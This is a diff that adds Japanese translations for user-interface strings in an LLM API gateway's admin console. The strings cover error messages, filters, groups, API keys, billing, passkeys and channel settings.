+    "Failed to create API key": "APIキーの作成に失敗しました",
+    "Failed to create channel": "チャンネルの作成に失敗しました",
+    "Failed to create deployment": "デプロイの作成に失敗しました",
+    "Failed to create provider": "プロバイダーの作成に失敗しました",
+    "Failed to create redemption code": "引き換えコードの作成に失敗しました",
+    "Failed to create user": "ユーザーの作成に失敗しました",
+    "Failed to delete {{count}} model(s)": "{{count}} 個のモデルの削除に失敗しました",
+    "Failed to delete account": "アカウントの削除に失敗しました",
+    "Failed to delete API key": "APIキーの削除に失敗しました",
+    "Failed to delete API keys": "APIキーの削除に失敗しました",
+    "Failed to delete channel": "チャンネルの削除に失敗しました",
+    "Failed to delete disabled channels": "無効化されたチャネルの削除に失敗しました",
+    "Failed to delete invalid redemption codes": "無効な引き換えコードの削除に失敗しました",
+    "Failed to delete model": "モデルの削除に失敗しました",
+    "Failed to delete provider": "プロバイダーの削除に失敗しました",
+    "Failed to delete redemption code": "引き換えコードの削除に失敗しました",
+    "Failed to delete user": "ユーザーの削除に失敗しました",
+    "Failed to delete vendor": "ベンダーの削除に失敗しました",
+    "Failed to disable {{count}} model(s)": "{{count}} 個のモデルの無効化に失敗しました",
+    "Failed to disable 2FA": "2FAの無効化に失敗しました",
+    "Failed to disable channels": "チャネルの無効化に失敗しました",
+    "Failed to disable model": "モデルの無効化に失敗しました",
+    "Failed to disable tag channels": "タグチャネルの無効化に失敗しました",
+    "Failed to discover OIDC endpoints": "OIDCエンドポイントの検出に失敗しました",
+    "Failed to enable {{count}} model(s)": "{{count}} 個のモデルの有効化に失敗しました",
+    "Failed to enable 2FA": "2FA の有効化に失敗しました",
+    "Failed to enable channels": "チャンネルの有効化に失敗しました",
+    "Failed to enable model": "モデルの有効化に失敗しました",
+    "Failed to enable tag channels": "タグチャンネルの有効化に失敗しました",
+    "Failed to fetch checkin status": "チェックインステータスの取得に失敗しました",
+    "Failed to fetch deployment details": "デプロイメント詳細の取得に失敗しました",
+    "Failed to fetch models": "モデルの取得に失敗しました",
+    "Failed to fetch OIDC configuration. Please check the URL and network status": "OIDC構成の取得に失敗しました。URLとネットワーク状態を確認してください",
+    "Failed to fetch upstream prices": "上流価格の取得に失敗しました",
+    "Failed to fetch upstream ratios": "アップストリーム比率の取得に失敗しました",
+    "Failed to fetch usage": "利用状況の取得に失敗しました",
+    "Failed to fetch user information": "ユーザー情報の取得に失敗しました",
+    "Failed to fix abilities": "アビリティの修正に失敗しました",
+    "Failed to generate token": "トークンの生成に失敗しました",
+    "Failed to initialize OAuth": "OAuthの初期化に失敗しました",
+    "Failed to initialize system": "システムの初期化に失敗しました",
+    "Failed to load": "読み込みに失敗しました",
+    "Failed to load API keys": "APIキーの読み込みに失敗しました",
+    "Failed to load billing history": "請求履歴の読み込みに失敗しました",
+    "Failed to load home page content": "ホームページの内容の読み込みに失敗しました",
+    "Failed to load image": "画像の読み込みに失敗しました",
+    "Failed to load logs": "ログの読み込みに失敗しました",
+    "Failed to load Passkey status": "Passkeyのステータスの読み込みに失敗しました",
+    "Failed to load profile": "プロファイルの読み込みに失敗しました",
+    "Failed to load redemption codes": "引き換えコードの読み込みに失敗しました",
+    "Failed to load setup data": "セットアップデータの読み込みに失敗しました",
+    "Failed to load setup status": "セットアップ状態の読み込みに失敗しました",
+    "Failed to load tag data": "タグデータの読み込みに失敗しました",
+    "Failed to load users": "ユーザーの読み込みに失敗しました",
+    "Failed to parse group items": "グループアイテムの解析に失敗しました",
+    "Failed to parse JSON file: {{name}}": "JSONファイルの解析に失敗しました： __ PH_0 __",
+    "Failed to query balance": "残高の取得に失敗しました",
+    "Failed to refresh cache stats": "キャッシュ統計の更新に失敗",
+    "Failed to regenerate backup codes": "バックアップコードの再生成に失敗しました",
+    "Failed to register Passkey": "Passkeyの登録に失敗しました",
+    "Failed to remove Passkey": "パスキーの削除に失敗しました",
+    "Failed to reset 2FA": "2FAのリセットに失敗しました",
+    "Failed to reset model ratios": "モデル比率のリセットに失敗しました",
+    "Failed to reset Passkey": "パスキーのリセットに失敗しました",
+    "Failed to save": "保存に失敗",
+    "Failed to save announcements": "お知らせの保存に失敗しました",
+    "Failed to save API info": "API情報の保存に失敗しました",
+    "Failed to save FAQ": "FAQの保存に失敗しました",
+    "Failed to save Uptime Kuma groups": "Uptime Kumaグループの保存に失敗しました",
+    "Failed to search API keys": "APIキーの検索に失敗しました",
+    "Failed to search redemption codes": "引き換えコードの検索に失敗しました",
+    "Failed to search users": "ユーザーの検索に失敗しました",
+    "Failed to send verification code": "認証コードの送信に失敗しました",
+    "Failed to set tag": "タグの設定に失敗しました",
+    "Failed to setup 2FA": "2FA の設定に失敗しました",
+    "Failed to start {{provider}} login": "{{provider}} ログインの開始に失敗しました",
+    "Failed to start Discord login": "Discordログインの開始に失敗しました",
+    "Failed to start GitHub login": "GitHubログインの開始に失敗しました",
+    "Failed to start LinuxDO login": "LinuxDOログインの開始に失敗しました",
+    "Failed to start OIDC login": "OIDCログインの開始に失敗しました",
+    "Failed to start Passkey login": "Passkeyログインの開始に失敗しました",
+    "Failed to start Passkey registration": "パスキー登録の開始に失敗しました",
+    "Failed to start testing all channels": "すべてのチャネルのテストを開始できませんでした",
+    "Failed to sync prices": "価格の同期に失敗しました",
+    "Failed to sync ratios": "比率の同期に失敗しました",
+    "Failed to test all channels": "すべてのチャネルのテストに失敗しました",
+    "Failed to test channel": "チャネルのテストに失敗しました",
+    "Failed to update all balances": "すべての残高を更新できませんでした",
+    "Failed to update API key": "APIキーの更新に失敗しました",
+    "Failed to update API key status": "APIキー状態の更新に失敗しました",
+    "Failed to update balance": "残高を更新できませんでした",
+    "Failed to update channel": "チャネルの更新に失敗しました",
+    "Failed to update models": "モデルの更新に失敗しました",
+    "Failed to update profile": "プロフィールを更新できませんでした",
+    "Failed to update provider": "プロバイダーの更新に失敗しました",
+    "Failed to update redemption code": "引き換えコードの更新に失敗しました",
+    "Failed to update redemption code status": "引き換えコードのステータスの更新に失敗しました",
+    "Failed to update setting": "設定の更新に失敗しました",
+    "Failed to update settings": "設定を更新できませんでした",
+    "Failed to update tag": "タグの更新に失敗しました",
+    "Failed to update user": "ユーザーの更新に失敗しました",
+    "Failure keywords": "失敗キーワード",
+    "Fair": "公平",
+    "FAQ": "FAQ",
+    "FAQ added. Click \"Save Settings\" to apply.": "FAQ が追加されました。「設定を保存」をクリックして適用してください。",
+    "FAQ deleted. Click \"Save Settings\" to apply.": "FAQ が削除されました。「設定を保存」をクリックして適用してください。",
+    "FAQ saved successfully": "FAQ が正常に保存されました",
+    "FAQ updated. Click \"Save Settings\" to apply.": "FAQ が更新されました。「設定を保存」をクリックして適用してください。",
+    "FastGPT": "FastGPT",
+    "Feature in development": "開発中の機能です",
+    "Fee": "手数料",
+    "Fee Amount": "料金額",
+    "Fetch available models for:": "利用可能なモデルを取得:",
+    "Fetch from Upstream": "Upstreamからフェッチ",
+    "Fetch Models": "モデルを取得",
+    "Fetched {{count}} model(s) from upstream": "上流から {{count}} 個のモデルを取得しました",
+    "Fetched {{count}} models": "{{count}} 個のモデルを取得しました",
+    "Fetching prefill groups...": "プリフィルグループをフェッチ中...",
+    "Fetching upstream prices...": "上流価格を取得中...",
+    "Fetching upstream ratios...": "アップストリーム比率をフェッチ中...",
+    "field": "フィールド",
+    "Field Mapping": "フィールドマッピング",
+    "Field passthrough controls": "フィールドパススルーコントロール",
+    "File Search": "ファイル検索",
+    "Files to Retain": "保持ファイル数",
+    "Fill All Models": "すべてのモデルを埋める",
+    "Fill Codex CLI / Claude CLI Templates": "Codex CLI / Claude CLI テンプレートを入力",
+    "Fill example (all channels)": "例を入力（全チャンネル）",
+    "Fill example (specific channels)": "例を入力（特定チャンネル）",
+    "Fill in the following info to create a new subscription plan": "以下の情報を入力して新しいサブスクリプションプランを作成",
+    "Fill Related Models": "関連モデルを入力",
+    "Fill Template": "テンプレートを入力",
+    "Fill Templates": "テンプレートを入力",
+    "Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format": "OpenAI形式を利用するGemini/VertexチャネルにのみthoughtSignatureを付与します",
+    "Filled {{count}} model(s)": "{{count}} 個のモデルを補完しました",
+    "Filled {{count}} related model(s)": "{{count}} 個の関連モデルを補完しました",
+    "Filter": "フィルター",
+    "Filter by channel ID": "チャンネルIDでフィルター",
+    "Filter by group": "グループでフィルター",
+    "Filter by Midjourney task ID": "MidjourneyタスクIDでフィルター",
+    "Filter by model name...": "モデル名でフィルター...",
+    "Filter by model...": "モデルでフィルタリング...",
+    "Filter by name or ID...": "名前またはIDでフィルター...",
+    "Filter by name or key...": "名前またはキーでフィルター...",
+    "Filter by name, ID, or key...": "名前、ID、またはキーでフィルター...",
+    "Filter by price field": "価格フィールドでフィルター",
+    "Filter by ratio type": "倍率タイプで絞り込み",
+    "Filter by request ID": "リクエストIDで絞り込み",
+    "Filter by task ID": "タスクIDでフィルター",
+    "Filter by token name": "トークン名でフィルター",
+    "Filter by username": "ユーザー名でフィルター",
+    "Filter by username, name or email...": "ユーザー名、名前またはメールアドレスでフィルター...",
+    "Filter Dashboard Models": "ダッシュボードモデルをフィルタリング",
+    "Filter models by type, endpoint, vendor, group and tags": "タイプ、エンドポイント、ベンダー、グループ、タグでモデルをフィルタリング",
+    "Filter models...": "モデルをフィルタリング...",
+    "Filter...": "フィルター…",
+    "Filters": "フィルター",
+    "Final Consumed": "最終消費",
+    "Final cost = base × multiplier when conditions match": "条件に一致する場合 最終費用 ＝ 基準 × 倍率",
+    "Final price multiplier (0.95 = 5% discount": "最終価格乗数 (0.95 = 5%割引",
+    "Fine-tune Midjourney integration and guardrails.": "Midjourneyの統合とガードレールを微調整します。",
+    "Finish Time": "完了時刻",
+    "First/Last Frame to Video": "先頭/末尾フレームから動画",
+    "Fix Abilities": "アビリティを修正",
+    "Fixed abilities: {{success}} succeeded, {{fails}} failed": "能力修正：{{success}} 件成功、{{fails}} 件失敗",
+    "Fixed price": "固定価格",
+    "Fixed price (USD)": "固定価格 (USD)",
+    "FluentRead extension not detected. Please ensure it is installed and active.": "FluentRead 拡張機能が検出されませんでした。インストールされていて有効になっていることを確認してください。",
+    "Follow the guided steps to prepare your workspace before the first login.": "初回ログイン前に、ガイド付きの手順に従ってワークスペースを準備してください。",
+    "Footer": "フッター",
+    "Footer text displayed at the bottom of pages": "ページ下部に表示されるフッターテキスト",
+    "footer.columns.about.links.aboutProject": "プロジェクトについて",
+    "footer.columns.about.links.contact": "お問い合わせ",
+    "footer.columns.about.links.features": "機能",
+    "footer.columns.about.title": "私たちについて",
+    "footer.columns.docs.links.apiDocs": "APIドキュメント",
+    "footer.columns.docs.links.installation": "インストールガイド",
+    "footer.columns.docs.links.quickStart": "クイックスタート",
+    "footer.columns.docs.title": "ドキュメント",
+    "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+    "footer.columns.related.links.neko": "neko-api-key-tool",
+    "footer.columns.related.links.oneApi": "1つのAPI",
+    "footer.columns.related.title": "関連プロジェクト",
+    "footer.defaultCopyright": "すべての権利を留保します。",
+    "For channels added after May 10, 2025, no need to remove \".\" from model names during deployment": "2025 年 5 月 10 日以降に追加されたチャネルの場合、デプロイ時にモデル名から「.」を削除する必要はありません",
+    "For private deployments, format: https://fastgpt.run/api/openapi": "プライベートデプロイメントの場合、形式: https://fastgpt.run/api/openapi",
+    "Force AUTH LOGIN": "AUTH LOGINを強制",
+    "Force Format": "強制フォーマット",
+    "Force format response to OpenAI standard (OpenAI channel only)": "応答をOpenAI標準に強制フォーマット (OpenAIチャンネルのみ)",
+    "Force SMTP authentication using AUTH LOGIN method": "AUTH LOGIN方式を使用してSMTP認証を強制する",
+    "Forgot password": "パスワードを忘れた場合",
+    "Forgot password?": "パスワードをお忘れですか？",
+    "Form reset to saved values": "フォームが保存された値にリセットされました",
+    "Format": "形式",
+    "Format JSON": "JSONをフォーマット",
+    "Format:": "形式:",
+    "Format: Access Key ID|Secret Access Key": "形式: Access Key ID|Secret Access Key",
+    "Format: AccessKey|SecretKey (or just ApiKey if upstream is New API)": "形式: AccessKey|SecretKey (upstream が New API の場合、ApiKey のみ)",
+    "Format: Ak|Sk|Region": "形式: Ak|Sk|Region",
+    "Format: APIKey-AppId, e.g., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041": "形式: APIKey-AppId、例: fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041",
+    "Format: APIKey|SecretKey": "形式: APIKey|SecretKey",
+    "Format: APPID|APISecret|APIKey": "形式: APPID|APISecret|APIKey",
+    "Format: AppId|SecretId|SecretKey": "形式: AppId|SecretId|SecretKey",
+    "Forward requests directly to upstream providers without any post-processing.": "ポストプロセスなしで、リクエストをアップストリームプロバイダーに直接転送します。",
+    "Free: {{free}} / Total: {{total}}": "空き容量: {{free}} / 合計: {{total}}",
+    "Friendly name to identify this channel": "このチャネルを識別するための表示名",
+    "From Address": "差出人アドレス",
+    "From IO.NET deployment": "IO.NET展開から",
+    "From model redirect, not yet added to models list": "モデルリダイレクトから、まだモデルリストに追加されていません",
+    "Frontend Theme": "フロントエンドテーマ",
+    "Full API Key": "完全なAPIキー",
+    "Full Base URL (supports": "完全なベースURL (サポート",
+    "Full Code": "完全なコード",
+    "Functions": "関数",
+    "GC Count": "GC 回数",
+    "GC executed": "GC 実行完了",
+    "GC execution failed": "GC 実行失敗",
+    "Gemini": "Gemini",
+    "Gemini will continue to auto-detect thinking mode even with the adapter disabled. Enable this only when you need finer control over pricing and budgeting.": "アダプターが無効になっていても、Geminiは思考モードを自動検出します。価格設定と予算編成をより細かく制御する必要がある場合にのみ、これを有効にしてください。",
+    "General": "一般",
+    "General Settings": "一般設定",
+    "Generate a Codex OAuth credential and paste it into the channel key field.": "Codex OAuth認証情報を生成し、チャンネルキー欄に貼り付けてください。",
+    "Generate and manage your API access token": "API アクセス トークンを生成および管理",
+    "Generate credential": "認証情報を生成",
+    "Generate Lyrics": "歌詞を生成",
+    "Generate Music": "音楽を生成",
+    "Generate new backup codes for account recovery": "アカウント復旧用の新しいバックアップコードを生成",
+    "Generate New Codes": "新しいコードを生成",
+    "Generated image": "生成された画像",
+    "Generating new codes will invalidate all existing backup codes.": "新しいコードを生成すると、既存のすべてのバックアップコードが無効になります。",
+    "Generating...": "生成中...",
+    "Generic cache": "汎用キャッシュ",
+    "Get notified when balance falls below this value": "残高がこの値を下回ったときに通知を受け取る",
+    "Get Started": "開始する",
+    "GitHub": "GitHub",
+    "Give the group a recognizable name and optional description.": "グループに認識しやすい名前とオプションの説明を付けます。",
+    "Give this group a recognizable name.": "このグループに認識しやすい名前を付けます。",
+    "Global configuration and administrative tools.": "グローバル設定と管理ツール。",
+    "Global Coverage": "グローバルカバレッジ",
+    "Global Model Configuration": "グローバルモデル設定",
+    "Go Back": "戻る",
+    "Go back and edit": "戻って編集",
+    "Go to Dashboard": "ダッシュボードへ移動",
+    "Go to first page": "最初のページへ移動",
+    "Go to io.net API Keys": "io.net API キーへ移動",
+    "Go to last page": "最後のページへ移動",
+    "Go to next page": "次のページへ移動",
+    "Go to previous page": "前のページへ移動",
+    "Go to settings": "設定へ",
+    "Go to Settings": "設定へ移動",
+    "Good": "良好",
+    "Gotify Application Token": "Gotify アプリケーショントークン",
+    "Gotify Documentation": "Gotify ドキュメント",
+    "Gotify Server URL": "Gotify サーバー URL",
+    "gpt-3.5-turbo": "gpt-3.5-turbo",
+    "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+    "gpt-4": "gpt-4",
+    "gpt-4, claude-3-opus, etc.": "gpt-4、claude-3-opus など",
+    "GPU count": "GPU 数",
+    "Grok": "Grok",
+    "Grok Settings": "Grok 設定",
+    "Group": "グループ",
+    "Group & Quota": "グループとクォータ",
+    "Group added. Click \"Save Settings\" to apply.": "グループが追加されました。「Save Settings」をクリックして適用してください。",
+    "Group channels by tag for batch operations": "バッチ操作のためにタグでチャネルをグループ化",
+    "Group config overrides global limits, shares the same period": "グループ設定はグローバル制限を上書きし、同じ期間を共有します",
+    "Group deleted. Click \"Save Settings\" to apply.": "グループが削除されました。「Save Settings」をクリックして適用してください。",
+    "Group details": "グループの詳細",
+    "Group identifier": "グループ識別子",
+    "Group is required": "グループは必須です",
+    "Group name": "グループ名",
+    "Group Name": "グループ名",
+    "Group name cannot be changed when editing.": "編集時はグループ名を変更できません。",
+    "group ratio": "グループ倍率",
+    "Group Ratio": "グループ倍率",
+    "Group ratios": "グループ比率",
+    "Group updated. Click \"Save Settings\" to apply.": "グループが更新されました。「Save Settings」をクリックして適用してください。",
+    "Group-based rate limits": "グループベースのレート制限",
+    "Group:": "グループ:",
+    "Group: {{ratio}}x": "グループ：{{ratio}}x",
+    "Groups": "グループ",
+    "Groups *": "グループ *",
+    "Groups that users can select when creating API keys.": "ユーザーが API キー作成時に選択できるグループ。",
+    "Guardrails": "ガードレール",
+    "Guest": "ゲスト",
+    "h": "h",
+    "Haiku Model": "Haiku モデル",
+    "Hang tight while we finish connecting your account.": "アカウントの接続を完了するまでお待ちください。",
+    "Hang tight while we securely link this account to your profile.": "このアカウントをプロファイルに安全にリンクするまでお待ちください。",
+    "Hardware": "ハードウェア",
+    "Hardware type": "ハードウェアタイプ",
+    "Has been disabled": "無効化されました",
+    "Has been enabled": "有効化されました",
+    "Has been invalidated": "無効化されました",
+    "Have a Code?": "コードをお持ちですか？",
+    "Header": "ヘッダー",
+    "Header navigation": "ヘッダーナビゲーション",
+    "Header Override": "ヘッダー上書き",
+    "Hidden — verify to reveal": "非表示 — 確認して表示",
+    "Hide": "非表示にする",
+    "Hide API key": "APIキーを非表示",
+    "High Performance": "高パフォーマンス",
+    "High-risk operation confirmation": "高リスク操作の確認",
+    "High-risk status code retry confirmation text": "確認します",
+    "High-risk status code retry input mismatch": "入力テキストが一致しません。もう一度お試しください。",
+    "High-risk status code retry input placeholder": "上記の確認テキストを入力してください",
+    "High-risk status code retry risk check 1": "これらのステータスコードでリトライすると、上流プロバイダーに正常に課金される可能性があり、その費用は回収できないことを理解しています。",
+    "High-risk status code retry risk check 2": "これらのステータスコードは通常、リクエストが上流プロバイダーによって正常に処理されたことを示しており、リトライすると二重課金が発生する可能性があることを理解しています。",
+    "High-risk status code retry risk check 3": "これらの設定が重大な経済的損失を引き起こす可能性があることを認め、すべての関連リスクを受け入れます。",
+    "High-risk status code retry risk check 4": "上記のステータスコードリダイレクトルールを注意深く確認し、正しいことを確認しました。",
+    "High-risk status code retry risk disclaimer": "以下のステータスコードリダイレクトルールには高リスクの設定が含まれています。これらのステータスコードでリトライすると、上流の正常な課金が発生し、回収できない可能性があります。",
+    "Higher priority channels are selected first": "優先度の高いチャネルが先に選択されます",
+    "Historical Usage": "履歴使用状況",
+    "History of Midjourney-style image tasks.": "Midjourneyスタイルの画像タスクの履歴。",
+    "Hit criteria: If cached tokens exist in usage, it counts as a hit.": "ヒット判定：usage に cached tokens が存在すればヒットとみなします。",
+    "Hit Rate": "ヒット率",
+    "Hit tier": "一致したティア",
+    "Home": "ホーム",
+    "Home Page Content": "ホームコンテンツ",
+    "Hostname or IP of your SMTP provider": "SMTP プロバイダーのホスト名または IP",
+    "Hour": "時間",
+    "hours": "時間",
+    "How client credentials are sent to the token endpoint": "クライアント認証情報がトークンエンドポイントに送信される方法",
+    "How frequently the system tests all channels": "システムがすべてのチャネルをテストする頻度",
+    "How It Works": "仕組み",
+    "How model mapping works": "モデルマッピングの仕組み",
+    "How much to charge for each US dollar of balance (Epay)": "残高の 1 米ドルあたりに請求する金額 (Epay)",
+    "How this model name should match requests": "このモデル名がリクエストとどのように一致すべきか",
+    "How to get an io.net API Key": "io.net API キーの取得方法",
+    "How to reset my quota?": "クォータをリセットするには？",
+    "How to select keys: random or sequential polling": "キーの選択方法: ランダムまたは順次ポーリング",
+    "How will you use the platform?": "プラットフォームをどのように使用しますか？",
+    "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+    "https://api.example.com": "https://api.example.com",
+    "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+    "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+    "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+    "https://docs.example.com": "https://docs.example.com",
+    "https://example.com": "https://example.com",
+    "https://example.com/logo.png": "https://example.com/logo.png",
+    "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+    "https://example.com/topup": "https://example.com/topup",
+    "https://example.com/webhook": "https://example.com/webhook",
+    "https://gateway.example.com": "https://gateway.example.com",
+    "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+    "https://gotify.example.com": "https://gotify.example.com",
+    "https://pay.example.com": "https://pay.example.com",
+    "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+    "https://status.example.com": "https://status.example.com",
+    "https://wechat-server.example.com": "https://wechat-server.example.com",
+    "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+    "https://your-server.example.com": "https://your-server.example.com",
+    "Human-readable name shown to users during Passkey prompts.": "パスキーのプロンプト中にユーザーに表示される、人間が読める名前。",
+    "I confirm enabling high-risk retry": "高リスクリトライの有効化を確認します",
+    "I have read and agree to the": "私は以下を読み、同意します",
+    "I understand that disabling 2FA will remove all protection and backup codes": "2FA を無効にすると、すべての保護とバックアップコードが削除されることを理解しています",
+    "Icon": "アイコン",
+    "Icon file must be 100 KB or smaller": "アイコンファイルは100KB以下である必要があります",
+    "Icon identifier (e.g. github, gitlab)": "アイコン識別子 (例: github, gitlab)",
+    "ID": "ID",
+    "If an upstream error contains any of these keywords (case insensitive), the channel will be disabled automatically.": "アップストリームエラーにこれらのキーワードのいずれかが含まれている場合 (大文字と小文字を区別しない)、チャネルは自動的に無効になります。",
+    "If authorization succeeds, the generated JSON will be inserted into the key field. You still need to save the channel to persist it.": "認証が成功すると、生成されたJSONがキー欄に挿入されます。保存するにはチャンネルを保存してください。",
+    "If connecting to upstream One API or New API relay projects, use OpenAI type instead unless you know what you are doing": "上流の One API または New API リレープロジェクトに接続する場合、知っている場合を除き OpenAI タイプを使用してください",
+    "If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.": "アフィニティチャネルが失敗し、別のチャネルでリトライが成功した場合、アフィニティを成功したチャネルに更新します。",
+    "Image": "画像",
+    "Image Generation": "画像生成",
+    "Image In": "画像入力",
+    "Image input": "画像入力",
+    "Image Out": "画像出力",
+    "Image Preview": "画像プレビュー",
+    "Image ratio": "画像倍率",
+    "Image to Video": "画像から動画",
+    "Image Tokens": "画像トークン",
+    "Import to CC Switch": "CC Switch にインポート",
+    "In Progress": "処理中",
+    "In:": "入力：",
+    "Include Group": "グループを含む",
+    "Include Model": "モデルを含む",
+    "Include Rule Name": "ルール名を含む",
+    "Including failed requests, 0 = unlimited": "失敗したリクエストを含む、0 = 無制限",
+    "Index": "インデックス",
+    "Initial quota given to new users": "新規ユーザーに付与される初期クォータ",
+    "Initialization failed, please try again.": "初期化に失敗しました。もう一度お試しください。",
+    "Initialize": "初期化",
+    "Initialize system": "システム初期化",
+    "Initializing…": "初期化中…",
+    "Inpaint": "インペイント",
+    "Input": "入力",
+    "Input mode": "入力モード",
+    "Input price": "入力価格",
+    "Input tokens": "入力トークン",
+    "Input Tokens": "入力トークン",
+    "Inspect user prompts": "ユーザープロンプトの検査",
+    "Instance": "インスタンス",
+    "Integrations": "統合",
+    "Inter-group overrides": "グループ間上書き",
+    "Inter-group ratio overrides": "グループ間比率上書き",
+    "Internal notes (not shown to users)": ":内部メモ（ユーザーには表示されません）",
+    "Internal Server Error!": "内部サーバーエラー！",
+    "Invalid chat link. Please contact the administrator.": "無効なチャットリンクです。管理者に連絡してください。",
+    "Invalid chat link. Please contact your administrator.": "無効なチャットリンクです。管理者に連絡してください。",
+    "Invalid code": "無効なコード",
+    "Invalid JSON": "JSON が無効です",
+    "Invalid JSON format": "無効な JSON 形式",
+    "Invalid JSON format or values out of allowed range": "無効な JSON 形式または値が許可された範囲外です",
+    "Invalid JSON in parameter override template": "パラメータオーバーライドテンプレートのJSONが無効です",
+    "Invalid JSON string.": "無効な JSON 文字列です。",
+    "Invalid model mapping format": "無効なモデルマッピング形式",
+    "Invalid Passkey registration response": "無効なパスキー登録応答",
+    "Invalid Passkey response": "無効なパスキー応答",
+    "Invalid payment redirect URL": "無効な支払いリダイレクトURL",
+    "Invalid reset link, please request a new password reset": "無効なリセットリンクです。新しいパスワードリセットをリクエストしてください",
+    "Invalid reset link, please request a new password reset.": "無効なリセットリンクです。新しいパスワードリセットをリクエストしてください。",
+    "Invalid rules JSON format": "ルール JSON の形式が不正です",
+    "Invalid status code mapping entries: {{entries}}": "無効なステータスコードマッピング：{{entries}}",
+    "Invalidate": "無効化",
+    "Invalidated": "無効化済み",
+    "Invitation Code": "招待コード",
+    "Invitation Quota": "招待クォータ",
+    "Invite Info": "招待情報",
+    "Invited": "招待済み",
+    "Invited by user ID": "ユーザーIDによる招待",
+    "Invited Users": "招待されたユーザー",
+    "Invitee Reward": "招待された側の報酬",
+    "Inviter": "招待者",
+    "Inviter Reward": "招待した側の報酬",
+    "Invites": "招待",
+    "io.net API Key": "io.net API キー",
+    "io.net Deployments": "io.net デプロイ",
+    "IP": "IP",
+    "IP Address": "IPアドレス",
+    "IP Filter Mode": "IP フィルターモード",
+    "IP Restriction": "IP制限",
+    "IP Whitelist (supports CIDR)": "IP ホワイトリスト（CIDR対応）",
+    "is less than the configured maximum cache size": "設定された最大キャッシュサイズより小さい",
+    "is the default price; ": "はデフォルト価格です; ",
+    "It seems like the page you're looking for": "お探しのページは",
+    "Items": "項目",
+    "Japanese": "日本語",
+    "Jimeng": "Jimeng",
+    "Jina": "Jina",
+    "JSON": "JSON",
+    "JSON array of group identifiers. When enabled below, new tokens rotate through this list.": "グループ識別子のJSON配列。以下で有効にすると、新しいトークンはこのリストをローテーションします。",
+    "JSON Editor": "JSON編集",
+    "JSON format supports service account JSON files": "JSON形式はサービスアカウントJSONファイルをサポートします",
+    "JSON map of group → description exposed when users create API keys.": "ユーザーがAPIキーを作成する際に公開される、グループ → 説明のJSONマップ。",
+    "JSON map of group → ratio applied when the user selects the group explicitly.": "ユーザーがグループを明示的に選択したときに適用される、グループ → 比率のJSONマップ。",
+    "JSON map of model → multiplier applied to quota billing.": "モデル → クォータ請求に適用される乗数のJSONマップ。",
+    "JSON map of model → USD cost per request. Takes precedence over ratio based billing.": "モデル → リクエストあたりのUSDコストのJSONマップ。比率ベースの請求よりも優先されます。",
+    "JSON Mode": "JSONモード",
+    "JSON must be an object": "JSON はオブジェクトである必要があります",
+    "JSON object:": "JSONオブジェクト:",
+    "JSON-based access control rules. Leave empty to allow all users.": "JSONベースのアクセス制御ルール。すべてのユーザーを許可する場合は空のままにしてください。",
+    "Just now": "たった今",
+    "JustSong": "JustSong",
+    "K": "K",
+    "Keep enabled if you need to proxy requests for different upstream accounts.": "異なる上流アカウントのリクエストをプロキシする必要がある場合は有効にしたままにしてください。",
+    "Keep this above 1 minute to avoid heavy database load": "データベースへの負荷を避けるため、これを1分以上に保ってください",
+    "Keep-alive Ping": "キープアライブPing",
+    "Key": "キー",
+    "Key Fingerprint": "キーフィンガープリント",
+    "Key Sources": "キーソース",
+    "Key Summary": "キー概要",
+    "Key Update Mode": "キー更新モード",
+    "Kling": "Kling",
+    "Knowledge Base ID *": "ナレッジベースID *",
+    "Landing page with system overview.": "システム概要付きランディングページ。",
+    "Last Login": "最終ログイン",
+    "Last Seen": "最終確認",
+    "Last Tested": "最終テスト日時",
+    "Last updated:": "最終更新日:",
+    "Last Used": "最終使用",
+    "Last used:": "最終使用日:",
+    "Layout": "レイアウト",
+    "Learn more": "詳細はこちら",
+    "Learn more:": "詳細はこちら:",
+    "Leave": "退出",
+    "Leave blank to keep the existing credential": "既存の認証情報を保持するには、空白のままにしてください",
+    "Leave blank to keep the existing key": "空欄のままにすると既存のキーを保持します",
+    "Leave blank unless rotating the secret": "シークレットをローテーションする場合を除き、空白のままにしてください",
+    "Leave empty for never expires": "期限切れなしにするには空のままにしてください",
+    "Leave empty to disable the agreement requirement. Supports Markdown, HTML, or a full URL to redirect users.": "利用規約の要件を無効にするには空のままにしてください。Markdown、HTML、またはユーザーをリダイレクトするための完全なURLをサポートします。",
+    "Leave empty to disable the privacy policy requirement. Supports Markdown, HTML, or a full URL to redirect users.": "プライバシーポリシーの要件を無効にするには空のままにしてください。Markdown、HTML、またはユーザーをリダイレクトするための完全なURLをサポートします。",
+    "Leave empty to disband the tag": "タグを解散するには空のままにしてください",
+    "Leave empty to keep existing key": "空欄のままにすると既存のキーを保持します",
+    "Leave empty to keep unchanged": "変更しない場合は空欄のまま",
+    "Leave empty to use account email": "アカウントのメールアドレスを使用するには空のままにしてください",
+    "Leave empty to use default": "デフォルトを使用する場合は空欄にしてください",
+    "Leave empty to use system temp directory": "空欄でシステムの一時ディレクトリを使用",
+    "Leave empty to use username": "ユーザー名を使用するには空のままにしてください",
+    "Less": "少ない",
+    "Light": "ライト",
+    "Lightning Fast": "超高速",
+    "Limit period": "制限期間",
+    "Limit Reached": "上限に達しました",
+    "Limit which models can be used with this key": "このキーで使用できるモデルを制限する",
+    "Limited": "制限",
+    "LingYiWanWu": "LingYiWanWu",
+    "Link to your documentation site": "ドキュメントサイトへのリンク",
+    "LinuxDO": "LinuxDO",
+    "LinuxDO Client ID": "LinuxDO クライアントID",
+    "LinuxDO Client Secret": "LinuxDO クライアントシークレット",
+    "List of models supported by this channel. Use comma to separate multiple models.": "このチャネルがサポートするモデルのリストです。複数のモデルはカンマで区切ってください。",
